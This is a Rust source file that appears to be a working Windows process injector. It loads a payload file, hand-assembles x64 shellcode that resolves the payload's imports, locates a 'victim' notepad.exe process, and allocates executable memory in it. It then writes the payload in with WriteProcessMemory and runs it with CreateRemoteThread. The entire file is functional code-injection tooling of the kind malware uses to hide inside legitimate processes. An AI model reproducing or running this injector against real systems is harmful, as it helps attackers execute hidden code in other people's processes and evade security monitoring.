use core::str;
use std::ffi::{c_void, CStr};
use std::marker::PhantomData;
use std::mem::MaybeUninit;
use std::ptr;
use std::{fs::File, io::Read};

use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::System::Diagnostics::Debug;
use windows_sys::Win32::System::Diagnostics::ToolHelp::{self, PROCESSENTRY32};
use windows_sys::Win32::System::Memory;
use windows_sys::Win32::System::Threading::PROCESS_ALL_ACCESS;
use windows_sys::Win32::System::{LibraryLoader, Threading};

const LOAD_LIBRARY_A: *const c_void = LibraryLoader::LoadLibraryA as *const c_void;
const GET_PROC_ADDRESS: *const c_void = LibraryLoader::GetProcAddress as *const c_void;

fn main() {
    unsafe { _main_remote() }
}

struct Reader<'a> {
    phantom: PhantomData<&'a [u8]>,
    ptr: *const u8,
}

impl<'a> Reader<'a> {
    unsafe fn read<T: Copy>(&mut self) -> T {
        let value = core::ptr::read_unaligned(self.ptr as *const T);
        self.ptr = self.ptr.byte_add(core::mem::size_of::<T>());
        value
    }

    unsafe fn read_zt(&mut self) -> &'a [u8] {
        let start = self.ptr;
        let mut n = 0;
        while *self.ptr != 0 {
            self.ptr = self.ptr.byte_add(1);
            n += 1
        }
        self.ptr = self.ptr.byte_add(1);
        n += 1; // include the null terminator
        return std::slice::from_raw_parts(start, n);
    }
}

struct LocalWriter {
    binary: *mut u8,
    base: *mut u8,
    ptr: *mut u8,
}
struct Measurer {
    count: usize,
}

impl Measurer {}

trait CodeGen {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void;

    unsafe fn write_ptr(&mut self, ptr: *const c_void) -> *const c_void {
        let bytes = unsafe { std::mem::transmute::<*const c_void, [u8; 8]>(ptr) };
        self.write(&bytes)
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void;
}

impl CodeGen for LocalWriter {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
        let addr = self.ptr;
        for u in u8s {
            *self.ptr = *u;
            self.ptr = self.ptr.byte_add(1);
        }
        self.binary.offset(addr.offset_from(self.base)) as *const c_void
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
        self.binary.byte_add(offset) as *const c_void
    }
}

impl CodeGen for Measurer {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
        self.count += u8s.len();
        return ptr::null();
    }

    unsafe fn address_in_binary(&mut self, _: usize) -> *const c_void {
        return ptr::null();
    }
}

unsafe fn write_imports(
    strings: &mut impl CodeGen,
    prelude: &mut impl CodeGen,
    reader: &mut Reader,
) {
    let entry_point = reader.read::<u32>();
    println!("entry point: {}", entry_point);
    // push rbp
    prelude.write(&[0x55]);
    // mov rbp, rsp
    prelude.write(&[0x48, 0x89, 0xe5]);
    // nop
    prelude.write(&[0x90]);
    // sub rsp, 0x20
    prelude.write(&[0x48, 0x83, 0xec, 0x20]);

    // windows needs 32 bytes to clobber: https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
    loop {
        let dll = reader.read_zt();
        if dll.len() == 1 {
            break;
        }
        println!("import dll: {:?}", str::from_utf8(dll).unwrap());
        let library_addr = strings.write(dll);
        strings.write(&[0]);

        loop {
            let symbol = reader.read_zt();
            if symbol.len() == 1 {
                break;
            }
            println!("import symbol: {:?}", str::from_utf8(symbol).unwrap());

            let dest = reader.read::<u32>();
            let symbol_addr = strings.write(symbol);

            // mov rcx, library name
            prelude.write(&[0x48, 0xb9]);
            prelude.write_ptr(library_addr);
            // mov rax, LoadLibraryA
            prelude.write(&[0x48, 0xb8]);
            prelude.write_ptr(LOAD_LIBRARY_A);
            // call rax
            prelude.write(&[0xff, 0xd0]);

            // mov rcx, rax
            prelude.write(&[0x48, 0x89, 0xc1]);
            // mov rdx, symbol name
            prelude.write(&[0x48, 0xba]);
            prelude.write_ptr(symbol_addr);
            // mov rax, GetProcAddress
            prelude.write(&[0x48, 0xb8]);
            prelude.write_ptr(GET_PROC_ADDRESS);
            // call rax
            prelude.write(&[0xff, 0xd0]);
            // mov [import address], rax
            prelude.write(&[0x48, 0xa3]);
            let addr = prelude.address_in_binary(dest as usize);
            prelude.write_ptr(addr);
        }
    }
    // mov rax, original entry point
    prelude.write(&[0x48, 0xb8]);
    let addr = prelude.address_in_binary(entry_point as usize);
    // let addr = load_library_a;
    prelude.write_ptr(addr);
    // call rax
    prelude.write(&[0xff, 0xd0]);
    // leave, ret
    prelude.write(&[0xc9, 0xc3]);
}

unsafe fn write_starting_state(binary: *mut u8, reader: &mut Reader) {
    let length = reader.read::<u32>() as usize;
    let ptr = reader.ptr;
    println!("length: {:?}", length);

    binary.copy_from(ptr, length);
}

unsafe fn _main_remote() {
    let mut input = File::open("binaries/main.dat").unwrap();
    let mut buf: Vec<u8> = vec![];
    let _ = input.read_to_end(&mut buf).unwrap();

    let mut measuring_reader = Reader {
        phantom: PhantomData,
        ptr: buf.as_ptr(),
    };
    let mut string_measurer = Measurer { count: 0 };
    let mut code_measurer = Measurer { count: 0 };
    write_imports(
        &mut string_measurer,
        &mut code_measurer,
        &mut measuring_reader,
    );
    let starting_state_len = measuring_reader.read::<u32>() as usize;
    println!("starting state len: {}", starting_state_len);
    // string_measurer.round_up();
    // code_measurer.round_up();

    // TODO: Alignment
    let Some(victim) = identify_victim() else {
        println!("couldn't find victim");
        return;
    };
    let remote = Threading::OpenProcess(PROCESS_ALL_ACCESS, 0, victim);
    if remote == ptr::null_mut() {
        println!("got null");
        return;
    }
    let total_size = starting_state_len as usize + string_measurer.count + code_measurer.count;
    let remote_address_space = Memory::VirtualAllocEx(
        remote,
        ptr::null(),
        total_size,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );
    let local_address_space = Memory::VirtualAlloc(
        ptr::null(),
        total_size,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );

    let mut loading_reader = Reader {
        phantom: PhantomData,
        ptr: buf.as_ptr(),
    };

    let strings = local_address_space.byte_add(starting_state_len);
    let prelude = strings.byte_add(string_measurer.count);
    let mut strings_writer = LocalWriter {
        binary: remote_address_space as *mut u8,
        base: local_address_space as *mut u8,
        ptr: strings as *mut u8,
    };
    let mut prelude_writer = LocalWriter {
        binary: remote_address_space as *mut u8,
        base: local_address_space as *mut u8,
        ptr: prelude as *mut u8,
    };
    println!("writing imports");
    write_imports(
        &mut strings_writer,
        &mut prelude_writer,
        &mut loading_reader,
    );
    println!("writing starting state");
    write_starting_state(local_address_space as *mut u8, &mut loading_reader);
    println!("done!");
    println!("error: {}", GetLastError());
    println!(
        "Copying memory to foreign process (at {:?} from {:?} get {:?})",
        remote_address_space, local_address_space, total_size
    );
    Debug::WriteProcessMemory(
        remote,
        remote_address_space,
        local_address_space,
        total_size,
        ptr::null_mut(),
    );
    println!("error: {}", GetLastError());
    println!("Creating remote thread");

    let entry_point =
        remote_address_space.byte_offset(prelude.byte_offset_from(local_address_space));
    println!("Entry point: {:?}", entry_point);
    Threading::CreateRemoteThread(
        remote,
        ptr::null(),
        0,
        Some(std::mem::transmute::<
            *mut c_void,
            unsafe extern "system" fn(*mut c_void) -> u32,
        >(entry_point)),
        ptr::null(),
        0,
        ptr::null_mut(),
    );
    println!("error: {}", GetLastError());
    println!("Done!");
}

unsafe fn identify_victim() -> Option<u32> {
    let snapshot = ToolHelp::CreateToolhelp32Snapshot(ToolHelp::TH32CS_SNAPPROCESS, 0);
    let mut entry: MaybeUninit<PROCESSENTRY32> = MaybeUninit::uninit();
    entry.assume_init_mut().dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
    let mut process = ToolHelp::Process32First(snapshot, entry.as_mut_ptr());
    println!("error: {}; process: {}", GetLastError(), process);
    while process != 0 {
        let entry_ref = entry.assume_init_ref();
        let name = CStr::from_ptr(entry_ref.szExeFile.as_ptr());
        println!("peeking: {:?}", name);
        if name.eq(CStr::from_bytes_with_nul_unchecked(b"notepad.exe\x00")) {
            return Some(entry_ref.th32ProcessID);
        }
        process = ToolHelp::Process32Next(snapshot, entry.as_mut_ptr());
    }
    return None;
}